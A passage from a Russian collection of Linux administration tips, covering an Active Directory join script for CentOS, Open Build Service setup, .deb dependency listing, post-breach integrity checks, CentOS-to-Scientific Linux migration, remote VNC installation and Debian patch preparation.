достаточно прост, предназначен для использования теми, кто знает, что такое Active Directory и имеет соответствующее звание - Ад-мин. Проверки входных данных есть, но очень слабые. Скрипт выполняет ряд важных действий:
  • Выполняет синхронизацию времени компьютера с доменом. Адреса NTP сервера(-ов) берутся из DHCP. Если синхронизация по чему либо не срабатывает - скрипт запрашивает адрес NTP сервера.
  • Запрашивает имя компьютера и домена.
  • Прописывает эти значения в файлах конфигурации Самбы, Цербера и Лдапа.
  • Запрашивает имя админа и авторизуется им в Цербере.
  • Присоединяет комп к Active Directory.
  • Выполняет ряд дополнительных настроек компьютера. Скрипт /pub/CentOS-conf/adsjoin #!/bin/bash # c#hkconfig: 345 98 1 ### BEGIN INIT INFO # Provides: adsjoin # Default-Start: 3 4 5 # Default-Stop: 0 1 2 6 # Required-Start: # Should-Start: $network # Short-Description: Requests ADS data and joins domain # Description: Asks user to enter ADS domain name, admin account and password. # Configures system to use ADS and joins it. ### END INIT INFO # Source function library. . /etc/init.d/functions FILENAME=/etc/sysconfig/adsjoin [ -z "$HOME" ] && export HOME=/ usage() { echo $"Usage: $0 {start|stop}" } prepareConfig() { # Fix system hostname fhn="${HOSTNAME,,}.${DOMAINNAME_FULL,,}" sed -i.adsjoinbak '/^HOSTNAME=/s/=.*/='$fhn'/' /etc/sysconfig/network hostname ${fhn} # add this name to work echo 127.0.0.1 ${fhn} ${fhn/.*} >> /etc/hosts cat <<EOSMB >> /etc/samba/smb.conf [global] winbind refresh tickets = true kerberos method = secrets and keytab EOSMB cat <<EOPWB >> /etc/security/pam_winbind.conf krb5_auth = yes cached_login = yes krb5_ccache_type = FILE EOPWB # --winbindtemplateprimarygroup=users \\ basedn=$(echo ${DOMAINNAME_FULL,,} | sed 's/^\\.*/dc=/;s/\\.*$//;s/\\.\\.*/,dc=/g') authconfig --update \\ --enablelocauthorize --enablecache \\ --enablekrb5realmdns --enablekrb5kdcdns \\ --ldapserver=ldap://${DOMAINNAME_FULL,,}/ --ldapbasedn=${basedn} \\ --enablemkhomedir --winbindtemplatehomedir=/home/%U --winbindtemplateshell=/bin/bash \\ --enablewinbindusedefaultdomain --enablewinbindauth --enablewinbind --enablewinbindoffline \\ --smbsecurity=ads --smbrealm=${DOMAINNAME_FULL} --smbworkgroup=${DOMAINNAME_SHORT} --smbservers='*' cat <<EOKRB > /etc/krb5.conf [logging] default = FILE:/var/log/krb5libs.log kdc = FILE:/var/log/krb5kdc.log admin_server = FILE:/var/log/kadmind.log [libdefaults] default_realm = ${DOMAINNAME_FULL} dns_lookup_realm = true dns_lookup_kdc = true ticket_lifetime = 24h renew_lifetime = 7d forwardable = true [domain_realm] .${DOMAINNAME_FULL,,} = ${DOMAINNAME_FULL} ${DOMAINNAME_FULL,,} = ${DOMAINNAME_FULL} EOKRB } askHostDom() { local hn dn while :; do read -p 'Enter HOSTNAME without domain: ' hn [ 0 -eq "$?" -a 4 -le ${#hn} -a ${#hn} -le 15 -a -z "$(expr "$hn" : '[a-zA-Z0-9-]*\\(.*\\)')" ] && break; echo "Wrong value ${hn}" echo "You have to specify HOSTNAME 4 to 15 chars long." echo "Only numbers, latin letter and '-' are allowed." done while :; do read -p 'Enter DOMAINNAME: ' dn [ 0 -eq "$?" -a 6 -le ${#dn} -a -z "$(expr "$dn" : '[.a-zA-Z0-9-]*\\(.*\\)')" ] && break; echo "Wrong value ${dn}" echo "You have to specify DOMAINNAME at least 6 chars long." echo "Only latin letter, numbers, '.' and '-' are allowed." done HOSTNAME="$hn" DOMAINNAME_FULL="${dn^^}" DOMAINNAME_SHORT=${DOMAINNAME_FULL/.*} } askOrgDir() { local od echo 'Enter Organizational directory where to create computer'\\''s account. Defaut is "Computers".' echo 'Example: Site/Unit/Computers' read -p 'Org. dir.: ' od ORG_DIRECTORY="$od" } askAdmAccount() { local un while :; do read -p "Enter Admin account of scpecified domain: " un [ 0 -eq "$?" -a 1 -lt ${#un} ] && break; echo "Wrong value ${un}" echo "You have to specify admin account at least 1 char long." done ADMINACCOUNT="$un" } case "$1" in start) if [ `/usr/bin/id -u` -ne 0 ]; then echo $"ERROR: Only root can run $0" exit 4 fi if [ ! -f /usr/bin/net ]; then echo $"ERROR: samba is not installed" exit 5 fi args="" if [ -f $FILENAME ] && [ ! -z "$(grep 'RUN_ADSJOIN=NO' $FILENAME)" ]; then exit 0 fi . /etc/profile.d/lang.sh /usr/bin/plymouth --hide-splash echo echo '========================================================' echo '============ Joining ADS' echo '========================================================' echo NTPSRVSRC='DHCP' NTPSRVS=$(sed -n 's/^server[[:space:]]*\\([^[:space:]]*\\).*/\\1/p' /etc/ntp.conf| grep -v '^127' | sort -u) while :; do if [ -n "$NTPSRVS" ] ; then if ntpdate -u -b $NTPSRVS then echo "Ok" break; else echo "Can not synchronize to $NTPSRVS" fi fi echo -e "WARNING!!!\\nNO working time servers specified by ${NTPSRVSRC}!" read -p 'Enter NTP server(s) of domain: ' NTPSRVS NTPSRVSRC=user done askHostDom echo prepareConfig echo service rsyslog restart /sbin/chkconfig winbind on RETVAL=255 HOME=/root LOGNAME=root USER=root export HOME LOGNAME USER cntr=3 while [ 0 -lt "$cntr" ]; do askAdmAccount if /usr/bin/kinit "${ADMINACCOUNT}"; then RETVAL=0; break; fi RETVAL=$? echo "Error loging in domain ${DOMAINNAME_FULL}" cntr=$(( $cntr - 1 )) done if [ "$RETVAL" -eq 0 ]; then cntr=3 while [ 0 -lt "$cntr" ]; do askOrgDir if [ -n "${ORG_DIRECTORY}" ]; then ADS_ORG="createcomputer='${ORG_DIRECTORY}'" else ADS_ORG="" fi ( eval "set -x; /usr/bin/net ads join -d 1 -k ${ADS_ORG}" ) 2>&1 | tee /tmp/net-ads-join-$$-$cntr # /usr/bin/net ads join -d 2 -k RETVAL=$? if [ "$RETVAL" -ne 0 ]; then echo "WARNING!!! Join failed" read -p 'Press Enter' else { /usr/bin/net -d 1 ads keytab create /sbin/service winbind restart /usr/bin/net -d 1 ads dns register } > /tmp/adsjoin-$$ 2>&1 break; fi cntr=$(( $cntr - 1 )) done fi /usr/bin/plymouth --show-splash # If adsjoin succeeded, chkconfig it off so we don't see the message # every time about starting up adsjoin. if [ "$RETVAL" -eq 0 ]; then action "" /bin/true else action "" /bin/false fi /sbin/chkconfig adsjoin off exit $RETVAL ;; stop) exit 0 ;; status) /sbin/chkconfig --list adsjoin | grep on >/dev/null RETVAL=$? if [ "$RETVAL" -eq 0 ]; then if [ ! -f $FILENAME ] || [ -z "$(grep 'RUN_ADSJOIN=NO' $FILENAME)" ]; then echo $"adsjoin is scheduled to run" else echo $"adsjoin is not scheduled to run" fi else echo $"adsjoin is not scheduled to run" fi exit 0 ;; restart | reload | force-reload | condrestart | try-restart) usage exit 3 ;; *) usage exit 2 ;; esac Примечание: Параметры "kerberos method" файла /etc/samba/smb.conf и "krb5_ccache_type" файла /etc/security/pam_winbind.conf должны соответствовать друг другу, иначе пользователь не сможет войти в систему. Как ни странно, синхронизация времени часто сбивается в первые секунды после получения адреса по dhcp - приходится вводить адреса серверов времени по нескольку раз. Скрипт перезапускает самбу и при его корректном завершении компьютер готов для работы без перезагрузки. 6. Запускаем компьютеры Подключаем к установочному VLAN-у коммутатор. Запасаемся веером патч-кордов, кабелей питания и пр. Подключаем сразу несколько компьютеров. Запускаем на каждом новом компьютере загрузку по сети, по протоколу PXE. У моих компьютеров сетевая загрузка была отключена, приходилось к каждому подключать монитор и клавиатуру и немного донастраивать BIOS. Но в итоге, параллельная подготовка компьютеров, включившая распаковку, заливку, введение в домен и упаковку для отправки в дальний офис занимала менее часа на десяток компьютеров, при том, что отдельный компьютер подготавливается около 15 минут. Что не добавлено 1. Если какие-либо системные утилиты, работающие под уч. записью root и понимающие, что такое Цербер, лезут к компьютерам домена, можно добавить в крон ежечасный вызов /usr/bin/net ads kerberos kinit -P - инициализация Церберного билета уч. записи компьютера. 2. Можно добавить клиенту DHCP скрипт само-регистрации в DNS: /etc/dhcp/dhclient.d/dnsreg.sh #!/bin/sh dnsreg_config() { if [ -x /usr/bin/net ] ; then /usr/bin/net ads dns register -P 2>&1 | logger -p daemon.info -t dhclient fi true } 3. Не настроен сервер обновлений. У нас CentOS ставился для пробы перед покупкой RedHat-а, обновлять его как-то не планировалось. Благодарности
  • Руководству - за поставленную задачу и время, выделенное на её решение.
  • VMWare - за незначительное количество "особенностей" в эмуляторе, в целом просто невероятным образом сократившего время отладки.
  • Microsoft - за незабываемое время проведённое в борьбе с Active Directory.
  • Wireshark.org - за отличный инструмент борьбы со всем этим счастьем.
  •  
    ----* Установка Open Build Service и организация сборки пакетов для разных дистрибутивов Linux (доп. ссылка 1)   Автор: Александр Молчанов  [комментарии]
     
    В заметке рассказано, как при помощи открытой платформы  Open Build Service
    (OBS) упростить поддержку собственных репозиториев и организовать сборку
    бинарных пакетов для популярных дистрибутивов Linux. При водится пример
    установки в openSUSE 12.1 серверной части OBS и настройки клиентского окружения
    для сборки пакетов в Ubuntu.
    
    Установка сервера OBS
    
    Прежде всего, нужно убедиться, что подключен репозиторий oss (это основной
    репозиторий openSUSE, где находится только программное обеспечение с открытым
    кодом). Он необходим для установки таких пакетов как Apache2, MySQL-server и т.д.
    
    Добавим репозиторий для установки Open Build Server.
    
       zypper addrepo download.opensuse.org/distribution/12.1/repo/oss/ openSUSE-12.1-Oss
       sudo zypper addrepo zypper addrepo download.opensuse.org/repositories/openSUSE:/Tools:/Unstable/openSUSE_12.1/openSUSE:Tools:Unstable.repo
       sudo zypper refresh
    
    Теперь можно начать установку.
    
       sudo zypper in obs-server obs-api
    
    Установка потянет за собой пачку необходимых пакетов, таких как apache,
    mysql-server, rubygems и т.д. Всего примерно на 90Мб.
    
    Внесём пару изменений в файл конфигурации. Для этого открываем
    /etc/sysconfig/obs-server, находим и приводим их к следующему виду строки:
    
       OBS_SRC_SERVER="localhost:5352"
       OBS_REPO_SERVERS="localhost:5252"
    
    Теперь можно запускать сервисы:
    
       rcobsrepserver start
       rcobssrcserver start
       rcobsscheduler start
       rcobsdispatcher start
       rcobspublisher start
    
    Переходим к созданию баз данных и их наполнению:
    
       mysql> create database api_production;
       mysql> create database webui_production;
       mysql> create user 'obs'@'%' identified by 'obspassword';
       mysql> create user 'obs'@'localhost' identified by 'obspassword';
       mysql> GRANT all privileges ON api_production.* TO 'obs'@'%', 'obs'@'localhost';
       mysql> GRANT all privileges ON webui_production.* TO 'obs'@'%', 'obs'@'localhost';
       mysql> FLUSH PRIVILEGES;
    
    
    Настроим подключение к mysql API и WebUI. Для этого в любом удобном редакторе
    открываем файлы /srv/www/obs/api/config/database.yml и
    /srv/www/obs/webui/config/database.yml, находим и редактируем следующий блок:
    
       production:
       adapter: mysql2
       database: api_production
       username: obs
       password: obspassword
    
    
    Наполним базы и установим необходимые права на папки tmp и log
    
       cd /srv/www/obs/api/
       sudo RAILS_ENV="production" rake db:setup
       sudo chown -R wwwrun.www log tmp
       cd /srv/www/obs/webui/
       sudo RAILS_ENV="production" rake db:setup
       sudo chown -R wwwrun.www log tmp
    
    Настроим Apache. Установим модуль apache2-mod_xforward. Для этого подключим ещё один репозиторий.
    
    
       zypper addrepo download.opensuse.org/repositories/openSUSE:/Tools/SLE_11/ Tools-SLE
       zypper refresh
       zypper in apache2-mod_xforward
    
    
    Подключим необходимые модули в /etc/sysconfig/apache2.
    
       APACHE_MODULES="... passenger rewrite proxy proxy_http xforward headers"
    
    Включим поддержку SSL и сгенерируем сертификаты:
    
       APACHE_SERVER_FLAGS="-DSSL"
    
       mkdir /srv/obs/certs
       openssl genrsa -out /srv/obs/certs/server.key 1024
       openssl req -new -key /srv/obs/certs/server.key -out /srv/obs/certs/server.csr
       openssl x509 -req -days 365 -in /srv/obs/certs/server.csr -signkey /srv/obs/certs/server.key -out /srv/obs/certs/server.crt
       cat /srv/obs/certs/server.key /srv/obs/certs/server.crt > /srv/obs/certs/server.pem
    
    
    Установим use_xforward:true в /srv/www/obs/webui/config/options.yml и /srv/www/obs/api/config/options.yml
    
    Теперь один очень важный нюанс. Открываем файл
    /srv/www/obs/webui/config/environments/production.rb, ищем строчку
    CONFIG['frontend_host'] = "localhost" и вместо localhost пишем имя сервера,
    которое мы указали при генерации сертификата.
    Если этого не сделать, то при попытке открыть WebUI или API, будете получать
    ошибку "hostname does not match the server certificate".
    
    Перезапускаем Apache и OBS для применения изменений:
    
       rcapache2 restart
       rcobsapidelayed restart
    
    
    Проверяем работоспособность.
    
    После перезапуска Apache API должен быть доступен по адресу servername:444.
    
    WebUI будет доступен по адресу servername.
    
    Логин и пароль по умолчанию Admin/opensuse.
    
    Подробно останавливаться на использовании WebUI не буду. Интерфейс интуитивно понятный и удобный.
    
    
    Использование клиента для сборки в OBS - OSC (openSUSE Build Service Commander)
    
    Данный пакет доступен практически для всех дистрибутивов Linux. С его помощью
    мы сможем создавать проекты, пакеты, загружать исходные файлы.
    
    Для установки в Ubuntu выполним:
    
       apt-get install osc
    
    Следующим шагом нужно создать файл конфигурации, который необходим для работы с
    нашим сервером. Создать его можно в автоматическом режиме, используя любую
    команду osc, к примеру, osc ls. Но проще создать в корне домашней директории
    файл .oscrc следующего содержания:
    
       [general]
       apiurl = https://servername:444
       use_keyring = 0
    
       [https://servername:444]
       user = Admin
       pass = opensuse
       keyring = 0
    
    
    Вместо servername пишем имя своего сервера. Имя опять же должно совпадать с
    указанным во время создания сертификата, иначе получите ошибку "Certificate
    Verification Error: Peer certificate commonName does not match host"
    Проверяем подключение, выполнив команду osc ls (вывести листинг проектов).
    Принимаем сертификат.
    
       The server certificate failed verification
       Would you like to
       0 - quit (default)
       1 - continue anyways
       2 - trust the server certificate permanently
       9 - review the server certificate
       Enter choice [0129]: 2
    
    Попробуем создать новый проект (MyProject - название вашего проекта):
    
       osc meta prj -e MyProject 
    
    После этого откроется xml-файл конфигурации нового проекта, где вам нужно
    будет, как минимум, указать Title и Description. Здесь же можно
    раскомментировать строки, в которых указано под какую систему будут собираться
    пакеты в данном проекте.
    
       <project name="MyProject">
         <title>MyProject</title>
         <description>MyTestProject</description>
         <person role="maintainer" userid="Admin" />
         <person role="bugowner" userid="Admin" />
         <publish>
           <disable />
         </publish>
         <build>
           <enable />
         </build>
         <debuginfo>
           <disable />
         </debuginfo>
         <repository name="openSUSE_Factory">
           <path project="openSUSE:Factory" repository="standard" />
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
         <repository name="openSUSE_11.2">
           <path project="openSUSE:11.2" repository="standard"/>
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
         <repository name="openSUSE_11.1">
           <path project="openSUSE:11.1" repository="standard"/>
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
         <repository name="Fedora_12">
           <path project="Fedora:12" repository="standard" />
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
         <repository name="SLE_11">
           <path project="SUSE:SLE-11" repository="standard" />
           <arch>x86_64</arch>
           <arch>i586</arch>
         </repository>
       </project>
       
    Создание пакета происходит по такой же схеме (MyProject - название вашего
    проекта, MyPackage - ваш новый пакет)
    
       osc meta pkg -e MyProject MyPackage
    
    Теперь, когда проект и пакет созданы, нам нужно отправить на сервер файлы
    исходников, из которых будут собираться бинарные пакеты.
    Сначала создадим локальную копию проекта у себя на рабочей машине.
    
    
       osc co MyProject
    
    После этого должна появиться иерархия каталогов MyProject/MyPackage. Помещаем
    свои файлы исходников в каталог MyPackage, после чего добавляем их в контроль
    версий командой:
    
       osc add MyProject/MyPackage /MyFiles
    
    и закачиваем на сервер
    
       osc ci MyProject/MyPackage -m "Your comment" --skip-validation
    
    Результат сборки смотрим командой
    
       osc results MyProject/MyPackage
    
    
    Теперь приведу отдельно краткий перечень команд для работы с проектами и пакетами из консоли.
    
    Вывести список проектов:
    
       osc ls
    
    Создать проект:
    
       osc meta prj -e ProjectName
    
    Создать пакет:
    
       osc meta pkg -e ProjectName PackageName
    
    Удалить проект или пакет:
    
       osc rdelete ProjectName/PackageName
    
    Сделать локальную копию проекта:
    
       osc co ProjectName
    
    Добавить новые файлы в контроль версий:
    
       osc add ProjectName/PackageName/YourFiles
    
    Удалить исходные файлы:
    
       osc rremove ProjectName PackageName SourceName
       osc update ProjectName
    
    Подтвердить изменения в проекте:
    
       osc ci ProjectName -m "Your comment" --skip-validation
    
    Подтвердить изменения в пакете:
    
       osc ci Project Name/Package Name -m "Your comment"
    
    Показать результат сборки:
    
       osc results Project Name/Package Name
    
    Показать лог сборки (выполнять в каталоге пакета):
    
       osc buildlog Platform Arch (osc buildlog xUbuntu_12.04 i586)
    
     
    ----* Получение списка внешних .deb зависимостей для исполняемого файла   Автор: Карбофос  [комментарии]
     
    Если программисту необходимо создать установочный пакет для Debian-подобных
    систем, необходимо указывать список внешних зависимостей (дополнительных
    пакетов необходимых для полноценного запуска бинарного файла).
    
    Команда для определения списка зависимостей с выдачей информации о версиях внешних deb пакетов:
       dpkg -l $( dpkg -S $( ldd YourBinaryOrLib | awk '{print $3}' ) | awk '{{sub(":"," ")} print $1}' )
    
    где YourBinaryOrLib - имя собранного бинарного файла
    
     
    ----* Проверка Linux-системы на наличие следов взлома (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    В процессе разбора истории со взломом  kernel.org было выявлено, что
    атаковавшим удалось установить вредоносное ПО на Linux-машины некоторых
    разработчиков, используя которое были перехвачены ключи доступа. В списке
    рассылки разработчиков ядра Linux опубликована краткая инструкция по
    проверке целостности системы и выявлению следов активности злоумышленников.
    Суть опубликованных рекомендаций изложена ниже.
    
    Одним из очевидных способов гарантировать чистоту системы от активности
    злоумышленников является переустановка системы с нуля. Но прежде чем прибегнуть
    к переустановке, следует убедиться, что система действительно поражена. Чтобы
    обеспечить выявление скрывающих свое присутствие руткитов проверку желательно
    выполнять загрузившись с LiveCD.
    
    
    1. Установка и запуск специализированных инструментов для выявления руткитов, например,
    chkrootkit, ossec-rootcheck и rkhunter.
    При запуске утилиты rkhunter возможно ложное срабатывание на некоторых системах
    с Debian. Вызывающие ложные срабатывания факторы описаны в файле /usr/share/doc/rkhunter/README.Debian.gz
    
    
    2. Проверка корректности сигнатур для всех установленных в системе пакетов.
    Для дистрибутивов на базе RPM:
    
       rpm --verify --all
    
    Для дистрибутивов с dpkg следует использовать скрипт:
    
       dpkg -l \*|while read s n rest; do if [ "$s" == "ii" ]; then echo $n;
       fi; done > ~/tmp.txt
       for f in `cat ~/tmp.txt`; do debsums -s -a $f; done
    
    Утилиту debsums следует установить отдельно:
       sudo apt-get install debsums
    
    Вывод измененных файлов:
       debsums -ca
    
    Вывод измененных файлов конфигурации:
       debsums -ce
    
    Посмотреть пакеты без контрольных сумм:
       debsums -l
    
    Другой вариант контрольных сумм для файлов в Debian:
    
       cd /var/lib/dpkg/info
       cat *.md5sums | sort > ~/all.md5
       cd /
       md5sum -c ~/all.md5 > ~/check.txt 2>&1
       
    
    3. Проверка на то, что установленные пакеты действительно подписаны
    действующими цифровыми подписями дистрибутива.
    
    Для систем на базе пакетного менеджера RPM:
    
       for package in `rpm -qa`; do
          sig=`rpm -q --qf '%{SIGPGP:pgpsig}\n' $package`
          if [ -z "$sig" ] ; then
             # check if there is a GPG key, not a PGP one
             sig=`rpm -q --qf '%{SIGGPG:pgpsig}\n' $package`
             if [ -z "$sig" ] ; then
                 echo "$package does not have a signature!!!"
             fi
         fi
       done
    
    
    
    4. При выявлении подозрительных пакетов их желательно удалить и установить заново.
    
    Например, для переустановки ssh в дистрибутивах на базе RPM следует выполнить:
    
    	/etc/init.d/sshd stop
    	rpm -e openssh
    	zypper install openssh	# для openSUSE
    	yum install openssh	# для Fedora
    
    Рекомендуется проделать эти операции, загрузившись с LiveCD и используя опцию 'rpm --root'.
    
    5. Проверка целостности системных скриптов в /etc/rc*.d и выявление
    подозрительного содержимого в /usr/share. Эффективность выполнения проверок
    можно гарантировать только при загрузке с LiveCD.
    
    Для выявления директорий в /usr/share, которые не принадлежат каким-либо
    пакетам в дистрибутивах на базе RPM можно использовать следующий скрипт:
    
       for file in `find /usr/share/`; do
          package=`rpm -qf -- ${file} | grep "is not owned"`
          if [ -n "$package" ] ; then
             echo "weird file ${file}, please check this out"
          fi
       done
    
    В Debian для определения какому пакету принадлежит файл следует использовать "dpkg-query -S":
    
       for file in `find /usr/share/GeoIP`; do
          package=`dpkg-query -S ${file} 2>&1 | grep "not found"`
          if [ -n "$package" ] ; then
             echo "weird file ${file}, please check this out"
          fi
       done
    
    
    Аудит suid root программ:
    
       find / -user root -perm -4000 -ls
    
    6. Проверка логов на предмет наличия нетипичных сообщений:
    
    * Проверить записи в wtmp и /var/log/secure*, обратив особое внимание на
    соединения с внешних хостов.
    * Проверить упоминание обращения к /dev/mem;
    * В /var/log/secure* посмотреть нет ли связанных с работой ssh строк с не
    текстовой информацией в поле версии, которые могут свидетельствовать о попытках взлома.
    * Проверка удаления файлов с логами, например, может не хватать одного файла с ротацией логов.
    * Выявление подозрительных соединений с локальной машины во вне, например,
    отправка email или попытки соединения по ssh во время вашего отсутствия.
    * Анализ логов пакетного фильтра с целью выявления подозрительных исходящих
    соединений. Например, даже скрытый руткитом бэкдор может проявить себя в логах
    через резолвинг DNS. Общая рекомендация сводится к контролю на промежуточном
    шлюзе соединений во вне для только принимающих внешние соединения машин и
    соединений из вне для только отправляющих запросы клиентских машин.
    
    7. Если в процессе проверки обнаружен факт проникновения злоумышленника следует
    сделать копию дисковых разделов на отдельный носитель при помощи команды "dd" с
    целью более подробного анализа методов проникновения. Только после этого можно
    полностью переустановить всю систему с нуля. Одновременно нужно поменять все
    пароли и ключи доступа, уведомив об инциденте администраторов серверов, на
    которых осуществлялась удаленная работа.
    
     
    ----* Конвертация СentOS 6 в Scientific Linux 6 (доп. ссылка 1) (доп. ссылка 2)   Автор: StormBP  [комментарии]
     
    Миграция с СentOS на Scientific Linux может быть целесообразна в свете
    доступности Scientific Linux 6.1, в то время как выпуск СentOS 6.1 лишь в планах.
    
    Перед началом миграции выполняем полное резервное копирование.
    
    1. Устанавливаем репозитории Scientific Linux:
    
       rpm -ivh --force http://ftp.scientificlinux.org/linux/scientific/6x/x86_64/os/Packages/sl-release-6.1-2.x86_64.rpm
    
    2. Чистим yum:
    
       yum clean all 
    
    3. Обновляем сам yum и rpm:
    
       yum update yum* rpm*
    
    4. Обновляем систему:
    
       yum update
    
    5. Удаляем лишнее:
    
       rpm -e centos-release
       rpm -e yum-plugin-fastestmirror
    
    6. Синхронизируем пакеты из репозиториев:
    
       yum distro-sync
    
    7. Переустанавливаем пакеты вендора CentOS:
    
    Выводим список пакетов:
    
       rpm -qa --qf "%{NAME} %{VENDOR}\n"|grep CentOS 
    
    Для каждого пакета из списка выполняем:
    
       yum reinstall пакет
    
    8. Перезагружаем систему:
    
       reboot
    
     
    ----* Удаленная установка CentOS или Fedora (доп. ссылка 1)   Автор: Andrew Okhmat  [комментарии]
     
    Хочу поделиться способом удаленной установки CentOS
    или Fedora. Используя возможности инсталлятора anaconda, можно упростить
    процедуру инсталляции или обновления операционной системы на удаленном сервере.
    Цитата из русскоязычной страницы проекта раскрывает некоторые возможности
    anaconda, которые мы будем использовать:
    
    "Anaconda является достаточно современным установщиком. Он позволяет выполнять
    установку с локальных или удаленных источников, таких как CD и DVD, образы
    размещенных на жестких дисках, NFS, HTTP и FTP. Может быть создан сценарий
    установки с помощью kickstart для обеспечения полностью автоматической
    установки, позволяющей дублировать систему на ряд компьютеров. Установка может
    быть запущена через VNC на компьютерах без монитора."
    
    Все описанное ниже подходит для любого дистрибутива Linux, использующего для
    загрузки grub. Примеры из статьи тестировались на grub 0.97, но после небольших
    изменений можно использовать и с grub2. Более того, этот способ использовался
    мной для замены FreeBSD на Linux, после установки grub в качестве загрузчика
    вместо стандартного Boot Manager.
    
    Подготовка состоит из 4-х шагов:
    
    
  • Определение сетевых настроек сервера;
  • Загрузка образов для выбранной OS;
  • Подготовка конфигурации и добавление ее в grub.conf;
  • Перезагрузка сервера и подключение к нему через VNC. Определение сетевых настроек сервера Нам понадобится IP адреса сервера, шлюза и DNS. Также понадобится MAC адрес основной сетевой карты. Его важно указывать в параметрах, если на сервере 2 сетевых карты, иначе есть вероятность, что инсталлятор выберет вовсе не ту, которая нам нужна. Для определения сетевых настроек можно воспользоваться следующими командами: ifconfig ip route show cat /etc/sysconfig/network-scripts/ifcfg-eth0 cat /etc/sysconfig/network cat /etc/resolv.conf в нашем примере это: Ip 172.17.17.232 Gateway 172.17.17.1 DNS 172.17.17.1 MAC 52:54:00:4a:25:b5 Загрузка образов CentOS и Fedora используют разные образы для старта инсталлятора. Надо выбрать соответствующие образы, в зависимости от того какой дистрибутив мы собираемся установить. Кроме того, если вы хотите установить 32х битную версию, то в url вам нужно заменить x86_64 на i386. Образы для centos 5.6 (x86_64): wget -O /boot/vmlinuz_remote http://mirrors.supportex.net/centos/5.6/os/x86_64/isolinux/vmlinuz wget -O /boot/initrd_remote.img http://mirrors.supportex.net/centos/5.6/os/x86_64/isolinux/initrd.img Образы для fedora 15 (x86_64): wget -O /boot/vmlinuz_remote http://download.fedora.redhat.com/pub/fedora/linux/releases/15/Fedora/x86_64/os/isolinux/vmlinuz wget -O /boot/initrd_remote.img http://download.fedora.redhat.com/pub/fedora/linux/releases/15/Fedora/x86_64/os/isolinux/initrd.img Подготовка конфигурации и добавление ее в grub.conf Укажем ранее сохраненные ip адреса сервера, шлюза и днс, а также url, откуда инсталлятор будет скачивать rpm пакеты. Дополнительные параметры, например, отсутствие монитора, выбор определенной сетевой карты и пароль для VNC. Если /boot раздел на диске не первый, то поправьте строчку root(hd0,0), она должна соответствовать номеру раздела. Добавляем эти строки в grub.conf для Centos 5.6: title Remote Install root (hd0,0) kernel /vmlinuz_remote lang=en_US keymap=us \ method=http://mirrors.supportex.net/centos/5.6/os/x86_64/ \ vnc vncpassword=SuperSecret ip=172.17.17.232 netmask=255.255.255.0 gateway=172.17.17.1 \ dns=172.17.17.1 noselinux ksdevice=52:54:00:4a:25:b5 headless xfs panic=120 initrd /initrd_remote.img Или для fedora 15: title Remote Install root (hd0,0) kernel /vmlinuz_remote lang=en_US keymap=us \ method=http://download.fedora.redhat.com/pub/fedora/linux/releases/15/Fedora/x86_64/os/ \ vnc vncpassword=SuperSecret ip=172.17.17.232 netmask=255.255.255.0 gateway=172.17.17.1 \ dns=172.17.17.1 noselinux ksdevice=52:54:00:4a:25:b5 headless xfs panic=120 initrd /initrd_remote.img Предполагается, что наша конфигурация идет вторым пунктом меню. Мы указали grub попробовать загрузить ее один раз. Если что-то пойдет не так, вернемся к ранее установленному дистрибутиву после перезагрузки, через 120 секунд. # echo 'savedefault --default=1 --once' | grub --batch Более подробно о всех загрузочных параметрах анаконды вы можете прочитать на этой страничке: http://fedoraproject.org/wiki/Anaconda/Options Перезагрузка сервера и подключение к нему по VNC Перезагружаем сервер и ждем, когда он начнет отвечать на ping. Потребуется некоторое время, пока загружаются дополнительные пакеты и можно будет присоединиться через vnc. Если канал не очень быстрый, это может занять до 20-30 минут. Подключаемся к серверу и делаем все как на локальной консоли: vncviewer 172.17.17.232:1 Если вы работаете из Windows, то можете воспользоваться TightVNC. Советы VNC-сервер запускается без keep-a-live, поэтому если вы подключаетесь через nat, то при долгой неактивности есть шанс потерять сессию и больше не восстановить ее. Лучше отключаться от vnc, а потом подключаться повторно, если VNC консоль долго не используется. Не стоит форматировать бутовый раздел как ext4, хотя это предлагают по умолчанию как Fedora, так и Centos. В некоторых случаях установленная операционная система отказывается загружаться с этого раздела. И хотя это бывает крайне редко, но лучше не рисковать. При установке Fedora в минимальной конфигурации сервис network оказывается не активированным. Это можно починить, добавив в параметры anacond-ы sshd и sshpw=password, указав свой пароль для ssh. После окончания интерактивной установки, перед самой перезагрузкой инсталлятора, зайти по ssh на удаленный сервер и активировать сервис network: # chroot /mnt/sysimage # chkconfig network on # exit Ссылки How to use Kickstart (Anaconda's remote control) Anaconda Anaconda Boot Options Install Fedora 14 Linux without a monitor (headless), keyboard and CD/DVD Installing Fedora Using PXE Images
  •  
    ----* Подготовка патчей для пакетов Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    При возникновении желания отправить исправление мейнтейнеру пакета Debian
    возникает вопрос, как правильно изменить код пакета и как отправить патч.
    
    1. Получаем последнюю версию пакета с исходным кодом и устанавливаем
    необходимые для его сборки зависимости.
    
    Одним из методов является использование утилиты  dget, входящей в состав пакета
    devscripts, которая позволяет напрямую загрузить пакет с исходным кодом по URL,
    который можно найти в dsc-файле, который можно загрузить из сисетмы трекинга пакетов.
    
    Если попытаться использовать  apt-get, временами может быть выведено
    предупреждение, что пакет обслуживается в системе управления версиями:
    
       $ apt-get source wordpress
       [...]
       NOTICE: 'wordpress' packaging is maintained in the 'Git' version control system at:
       git://git.debian.org/git/collab-maint/wordpress.git
       [...]
    
    В этом случае следует использовать утилиту debcheckout для загрузки кода
    напрямую из репозитория системы управления версиями:
    
       $ debcheckout wordpress
       declared git repository at git://git.debian.org/git/collab-maint/wordpress.git
       git clone git://git.debian.org/git/collab-maint/wordpress.git wordpress ...
       Cloning into wordpress...
    
    Дополнительно рекомендуется установить мета-пакет packaging-dev, установка
    которого повлечет за собой установку наборов инструментов, полезных для
    разработчиков пакетов.
    
    
    2. Внесение изменений.
    
    Для фиксации факта начала работы над внесением изменения в пакет пользователем,
    не являющимся мейнтейнером, выполним команду (NMU = Non Maintainer Upload):
    
       $ dch --nmu
    
    Этот шаг также позволит гарантировать, что после сборки пакета мы не перетрем
    загруженный ранее оригинальный пакет с исходными текстами.
    
    
    2.1. Изменяем служебные файлы пакета.
    
    Заходим в поддиректорию debian и правим при необходимости нужные файлы.
    Внесенные изменения отражаем путем выполнения команды dch (если изменений
    несколько утилиту нужно запустить несколько раз).
